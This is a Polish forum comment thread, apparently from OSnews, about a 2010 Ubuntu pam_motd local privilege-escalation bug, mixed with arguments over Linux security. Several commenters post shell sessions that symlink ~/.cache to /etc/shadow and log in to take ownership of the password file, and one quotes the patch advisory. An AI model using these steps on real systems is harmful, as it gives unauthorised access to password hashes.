          @Tomasz Woźniak: Przegladasz czasem LWN? "Cos trafia sie na Linuksa" srednio co tydzien. Natomiast tak idiotyczny blad jak ten tutaj to ewenement, nie tylko w Linuksie.

        3. Reddie pisze:

          Tak, Linuksiarze wymyślili interwał między upublicznieniem luki a jej załataniem. Gdyby nie oni, luki łatałyby się natychmiast 😀

          Czasami jesteś tak głupi że aż zabawny.

        4. Reddie pisze:

          Bo przecież jakie to ma znaczenie czy exploit wiszący na twitterze działa jeden dzień czy do następnego wtorku ;>

        5. trasz pisze:

          Bo przeciez jakie ma znaczenie, czy kolejne dziury pojawiaja sie raz na tydzien, czy raz na rok.

        6. Tomasz Woźniak pisze:

          @trasz: panie Edwardzie- nie przeglądam LWN, bo nie jest mi to potrzebne. Orientuję się jednak, że poziom bezpieczeństwa Linuksa jest wystarczający do nazywania go 'bezpiecznym'. Posiadane certyfikaty do użycia w krytycznych systemach też nie wzięły się z niczego. Najważniejsze jest jednak to, że wykryte luki się łata w miarę szybko- oczywiście pan twierdzi inaczej, ale widziałem że niejednokrotnie panu udowadniano, iż racji pan nie miał.

        7. DrunkenBear pisze:

          @Tomasz Woźniak: Jak już decydujesz się używać zwrotu "pan", to wypada go pisać z dużej litery.

        8. trasz pisze:

          @Tomasz Woźniak: Wydaje ci sie, ze poziom jest wystarczajacy do nazwania go bezpiecznym, ale nie sledzisz statystyk mowiacych o bezpieczenstwie? Ciekawe.

          A co do certyfikatow – problem w tym, ze certyfikaty bezpieczenstwa, ktore ma Linux, zostaly wydane na identycznej zasadzie, jak dawno temu dla Windows NT – przewiduja system, ktory nic nie robi i nie jest skonfigurowany do pracy w sieci. Jest to chwyt marketingowy nie majacy zadnego praktycznego znaczenia, wazny dla advocacy i w kilku zastosowaniach wymagajacych swistka.

        9. Tomasz Woźniak pisze:

          @trasz: rozumiem, że emocje i temperatura… ale proszę nie siać FUDu.

          Mówię np. o certyfikatach typu EAL, których o ile wiem NT nigdy nie dostał, a Linuksy znajdują się na tych samym poziomie co np. Solaris.

          Co do statystyk bezpieczeństwa- ufam opiekunom dystrybucji i ludziom mądrzejszym ode mnie. Pan też najprawdopodobniej nie śledzi statystyk jakie części pana samochodu powodują najwięcej wypadków, co nie przeszkadza panu uważać swoje auto za bezpieczne. Mylę się? Panie Edwardzie- wiem, że uważa pan, iż każdy powinien z satysfakcją czytać o kolejnych błędach przepełnienia bufora mimo iż prawdopodobieństwo włamania tą metodą jest skrajnie niskie. Niestety ludzie mają ciekawsze rzeczy do robienia.

          Poziom bezpieczeństwa w Linuksie jest wystarczający. Zresztą obaj wiemy, że nawet Flash na Linuksie jest bezpieczniejszy niż na OSX. 😉

        10. trasz pisze:

          @Tomasz Woźniak: W przypadku EAL "diabel tkwi w szczegolach" – konkretnie w, hm, "deklaracjach", ktorych spelnienie potwierdza certyfikat, i ktore deklaruje sam producent systemu, pomijajac niewygodne z punktu widzenia certyfikacji elementy. Dlatego dostalo je i Windows (http://www.microsoft.com/presspass/press/2005/dec05/12-14CommonCriteriaPR.mspx#Microsoft), i RHEL, i kilka komercyjnych Uniksow.

          Co do statystyk bezpieczenstwa – problem w tym, ze opiekunowie dystrybucji nie sa ludzmi madrzejszymi od ciebie albo ode mnie. To zwyczajni ludzie, zajmujacy sie tym dlatego, ze akurat maja czas. Nie maja jakichs specjalnych umiejetnosci czy wiedzy – kazdy moze developowac Linuksa, i w praktyce kazdy to robi, jesli akurat nie ma niczego ciekawszego lub bardziej dochodowego do roboty. Zwykle nie jest to problemem, bo jesli ktos zrobi cos glupiego, to ktos inny wylapie. Czasami nie wylapuje, i wtedy dochodzi do sytuacji takich, jak ta opisana w niusie.

          Co do przedostatniego zdania – poziom bezpieczenstwa w Windows tez jest wystarczajacy, wedlug niektorych.

  15. jarek pisze:

    Dzyzas, to wyglada jak jakis prostacki wjazd przez
    procmaila/sendmaila ze starych tutoriali 😀

    1. cokolwiek pisze:

      Ponieważ to problem na poziomie użytkowania ubuntu. Dystrybucję tworzą użytkownicy, ponieważ dla nich jest ona tworzona. Nie będę wspominał niczego na temat zaniżania ogólnego poziomu przez masy, gdy coś się popularyzuje. Nic dodać nic ująć.

  16. ptecza pisze:

    <code>
    ptecza@anahaim:~$ mv ~/.cache/ ~/.cache.bak
    ptecza@anahaim:~$ ln -s /etc/shadow ~/.cache

    ptecza@anahaim:~$ ssh localhost
    ptecza@anahaim:~$ cat /home/ptecza/.cache
    cat: /home/ptecza/.cache: Permission denied

    ptecza@anahaim:~$ ls -l ~/.cache
    lrwxrwxrwx 1 ptecza ptecza 11 2010-07-08 16:40 /home/ptecza/.cache -> /etc/shadow
    ptecza@anahaim:~$ ls -l /etc/shadow
    -rw-r—– 1 root shadow 960 2009-10-07 09:55 /etc/shadow

    ptecza@anahaim:~$ lsb_release -rc
    Release: 9.04
    Codename: jaunty
    </code>

    1. Xaweryz pisze:

      Mam Ubuntu 10.04 i też ta luka to nie działa 🙂

      1. el.pescado pisze:

        Może nie zauważyłeś że zainstalowała się poprawka. Ja tak miałem swego czasu, jak w okolicach 5.10 instalator zapisywał hasło tworzonego użytkownika w logach. Zanim zdążyłem sprawdzić czy u mnie też zapisał, problem został naprawiony.

        1. Poprawka ci chyba nie usunęła wpisu z logów? 😉

        2. Xaweryz pisze:

          To w takim razie należyty się pochwała twórcą Ubuntu za szybkie załatanie luki 🙂

        3. el.pescado pisze:

          Poprawka ci chyba nie usunęła wpisu z logów?

          A dlaczego np. postinst nie mógłby tego zrobić?

        4. el.pescado pisze:

          https://lists.ubuntu.com/archives/ubuntu-security…

          The updated packages remove the passwords and additionally make the log files readable only by root.

          Więc nie tak źle z moją pamięcią;) Nawet numer wydania się zgadza;)

    2. ptecza pisze:

      https://lists.ubuntu.com/archives/ubuntu-security…

      […]
      A security issue affects the following Ubuntu releases:

      Ubuntu 9.10
      Ubuntu 10.04 LTS

      This advisory also applies to the corresponding versions of
      Kubuntu, Edubuntu, and Xubuntu.

      The problem can be corrected by upgrading your system to the
      following package versions:

      Ubuntu 9.10:
      libpam-modules 1.1.0-2ubuntu1.1

      Ubuntu 10.04 LTS:
      libpam-modules 1.1.1-2ubuntu5

  17. Ta luka działa, ale tylko dla użytkowników którzy są administratorami (którzy i tak mają dostęp do wszystkiego). Dla użytkowników nie oznaczonych w systemie jako administrator nie działa. Proponuje zmienić treść artykułu, no chyba że to prowokacja 🙂

    1. trasz pisze:

      Zrodlo, czy tak sobie pobredzasz?

      1. Masz rację, działa, przynajmniej na jednym z kilku systemów które testowałem.

  18. QkiZ pisze:

    Bzdury.
    Po pierwsze: nie działa.
    Po drugie: co ci po linkowaniu pliku shadow jak i tak nie masz do niego dostępu (nie można go zcat'ować).
    Po trzecie: na localhost musi być zainstalowany serwer SSH.
    Po czwarte: po zalogowaniu 'ssh localhost' i tak nie możesz zajrzeć do pliku shadow, zmienić właściciela, ani dodać sobie uprawnienia do odczytu.

    1. Co się dziwisz, newsa dodał czołowy troll osnews.

    2. trasz pisze:

      @QkiZ: Po pierwsze – dziala. Po drugie, luka powoduje zmiane wlasciciela linkowanego pliku, w tym przypadku shadow. Naprawde, czytanie nie boli.

      1. andre pisze:

        Taa działa, przed napisaniem warto zweryfikować czy jest to prawda, zwłaszcza gdy nie korzysta się w własnych doświadczeń.

        <code>
        andre@komp:~$ ln -s /etc/shadow ~/.cache
        andre@komp:~$ ssh localhost
        andre@comp:~$ less /home/andre/.cache
        /home/andre/.cache: Permission denied
        andre@comp:~$ ls -al /home/andre

        lrwxrwxrwx 1 andre andre 11 2010-07-08 23:21 .cache -> /etc/shadow

        andre@komp:~$ ls -al /etc/shadow
        -rw-r—– 1 root shadow 1042 2010-06-08 18:13 /etc/shadow

        andre@komp:~$ uname -a
        Linux komp 2.6.32-23-generic #37-Ubuntu SMP Fri Jun 11 07:54:58 UTC 2010 i686 GNU/Linux

        andre@komp:~$ lsb_release -a
        No LSB modules are available.
        Distributor ID: Ubuntu
        Description: Ubuntu 10.04 LTS
        Release: 10.04
        Codename: lucid
        </code>

        Jak działa!?, jaka zmiana właściciela /etc/shadow!? Naprawdę samodzielna weryfikacja "testu" nie jest trudna

        1. el.pescado pisze:

          A mnie się udało – na 9.10 na maszynie wirtualnej, której rzadko używam, więc pewnie nie ma jeszcze żadnych aktualizacji:

          $ rm -rf ~/.cache; ln -s /etc/shadow ~/.cache; ssh localhost
          The authenticity of host 'localhost (::1)' can't be established.
          (…)
          $ ls -l /etc/shadow
          -rw-r—– 1 przemek przemek 1035 2010-07-09 00:15 /etc/shadow

        2. el.pescado pisze:

          I tak jak się spodziewałem, po
          apt-get upgrade
          już nie działa. Słowem, jeżeli komuś nie wyszło, znaczy to, że ma już naprawiony błąd a nie że błędu nigdy nie było.

      2. QkiZ pisze:

        To pokaż mi screen z udanego ataku. Bo jak na razie testowałem na dwóch kompach z Ubuntu i nie działa.

        1. trasz pisze:

          @QkiZ: Masz kilka przykladow powyzej.

        2. el.pescado pisze:

          Volia, świeże 10.04, zainstalowałem tylko openssh-server:
          http://yfrog.com/5hexploitvp

    3. ufoludek pisze:

      Ech, ci dzisiejsi linuksiarze… Nawet nie potrafią przekleić kilku linijek żeby się przekonać, że jednak — przynajmniej na 9.10 — działa.

      Also: och, och, ale przecież Linux jest bezpieczny by design, więc jak to możliwe?

      1. QkiZ pisze:

        Aby to w ogóle się powiodło na 9.10 musisz mieć zainstalowany serwer ssh na swoim kompie. Jak ktoś nie ma uprawnień to i tak nie zainstaluje, a ten cały bug może połamać sobie o kant dupy.

        1. jarek pisze:

          O, i juz mamy idiotyczna racjonalizacje, wystarczy nie miec
          ssh zainstalowanego. Bug w kernelu, wystarczy nie miec kernela
          zainstalowanego, itp, itd.

        2. el.pescado pisze:

          Update, nie trzeba mieć ssh. Wystarczy przełączyć się na tekstową konsolę (np. kombinacją klawiszy Ctrl+Alt+F1):

          http://yfrog.com/11exploit2p

          (przed zalogowaniem się przywróciłem oryginalne prawa do /etc/shadow).

        3. QkiZ pisze:

          @jarek: a teraz wymyśl coś naprawdę śmiesznego bo jesteś żałosny.

  19. Maciej Piechotka pisze:

    Hmm. W więcej informacji za dużo informacji nie ma więc nie mając Ubuntu zapytam – dlaczego pam_motd (moduł wyświetlający /etc/motd):
    a) Czyta cokolwiek poza /etc/motd (+ odpowiednimi plikami .so) – w tym .cache
    b) Zmienia jakiekolwiek uprawnienia

    1. jarek pisze:

      Pewnie zogdnie z linuksianym rozumieniem reguly KISS,
      bootloader ma gettext, pam_motd majstruje Ci w katalogu
      domowym, a odtwarzach mp3 ma wbudowany silnik sql.
      Logiczny, spojny i minimalistyczny dizajn prowadzacy
      prosta droga do softu najwyzszej jakosci.

      1. Sławek pisze:

        Nie rozumiem. Odtwarzacz MP3 musi mieć silnik bazodanowy – to obecnie standard. Ludzie trzymają na dyskach mnóstwo muzyki.

        gettext w GRUB2, to świetna rzecz. Ukłon w stronę początkujących użytkowników.

        Natomiast z jakich powodów pam_motd majstruje w katalogu domowym, to ja nie MIEĆ 😉 pojęcia.

        1. trasz pisze:

          @Sławek: Poczatkujacy uzytkownik nie powinien miec zadnego kontaktu z bootloaderem. Jesli ma, i w dodaktu potrzebuje lokalizacji, to znaczy, ze cos jest mocno nie teges.

    2. gotar pisze:

      Bo przy pierwszym logowaniu miało toto wyświetlić jakieś diskjalmery czy inny WolnoMyślicielski crap, po czym zapisać informację, że oczom danego usera Święta Licencja została wyrecytowana.

  20. jarek pisze:

    Po przebiciu sie przez komentarze, dotarlo do mnie, jak zenujaco niska
    jest wiedza czytaczy OSnews o tak podstawowych elementach systemu jak
    shadow czy passwd czy nawet praw do plikow i zmiana wlascicieli.
    Moze warto wprowadzic mechanizm, przed wyslaniem komentarza, odpowiedz
    na jedno, proste, losowe pytanie techniczne, moze widzielibysmy tu mniej
    fanatycznych bredni?

    1. trasz pisze:

      Po co ktokolwiek mialby w takiej sytuacji dyskutowac na OSNews? Do technicznych dyskusji trzymajacych poziom sa inne miejsca w sieci.

      1. Reddie pisze:

        Xacly. Twoja obecność wyklucza merytoryczną dyskusję na wysokim poziomie.

        1. trasz pisze:

          Dziekuje za udowodnienie mojej tezy nic nie wnoszacym argumentem ad personam. 😉

        2. wykopek pisze:

          Tak się składa, że trasz jest jedną z niewielu(jedyną) osobą na osnews.pl z wiedzą na temat systemów operacyjnych. Trasz, zawsze zastanawiam się: po co tu tracisz czas? Twoje argumenty i tak do nikogo nie trafią, bo nikt ich nie zrozumie. Za to zawsze możesz liczyć na typowo linuxiarskie gnojenie na wysokim poziomie. Nie lepiej założyć własnego techbloga w stylu niebezpiecznika?

        3. trasz pisze:

          @wykopek: Odpreza mnie to. To, czyli, jak to ladnie nazwal WO, "gra w posty", czy, w tym przypadku, "gra w komentarze". Jedni graja w Tibie, inni pisza na OSNews 🙂

  21. anonymous pisze:

    Btw. Linux ma znacznie lepszej jakości kod. Kiedyś był artykuł i zestawiono w nim pewną dystrybucję Linuksa z Freebsd i okazało się, że kod Linuksa mając znacznie więcej lini kodu zawiera mniej błędów!

    1. trasz pisze:

      Tyle, ze metoda liczenia (skaner Coverity) kompletnie nie nadawala sie do porownywania ilosci bledow, ze wzgledu na rozna (od paru do 90%) ilosc false positives. Z miarodajnych statystyk – ktore opieraja sie na czestosci znajdowania faktycznych dziur – wynika, ze Linux jest dziurawy mniej wiecej na poziomie Windows.

      1. Wow! A może te Twoje "miarodajne statystyki" mówią o tym że Linux podlega lepszemu od FreeBSD audytowi? 😛
        Bo przecież podlega, to nie jest jakaś tajemnica.
        Jeżeli połączysz fakty że "teoretycznie" FreeBSD jest bardziej dziurawe, za to Linux ma więcej dziur bo podlega lepszemu audytowi, to możesz wysunąć prosty logiczny wniosek – te dziury FreeBSD po prostu nie zostały jeszcze wykryte.
        Jeśli dodać do tego Twoje ulubione twierdzenie że "źli ludzie wiedzą wszystko dużo wcześniej" – no to masz obraz FreeBSD jako systemu niebezpiecznego – nie dość że dziurawego to jeszcze niełatanego :P. Bo skoro o danej dziurze publicznie nie wiadomo – to nie da się jej załatać.
        A teraz na temat – no tak wykryli banalną lukę w Ubuntu. Łał, jestem w szoku, bardzo mi z tego powodu smutno… To tylko potwierdza moje zdanie o Ubuntu :P, którego nigdy nie używałem…

  22. hitachi kc18ddl pisze:

    Hello there! Do you know if they make any plugins to protect against hackers? I’m kinda paranoid about losing everything I’ve worked hard on. Any tips? Also, please visit my blog http://hitachikc18ddl.livejournal.com/585.html

{"email":"Email address invalid","url":"Website address invalid","required":"Required field missing"}

Newsletter OSnews raz w tygodniu. Bez reklam.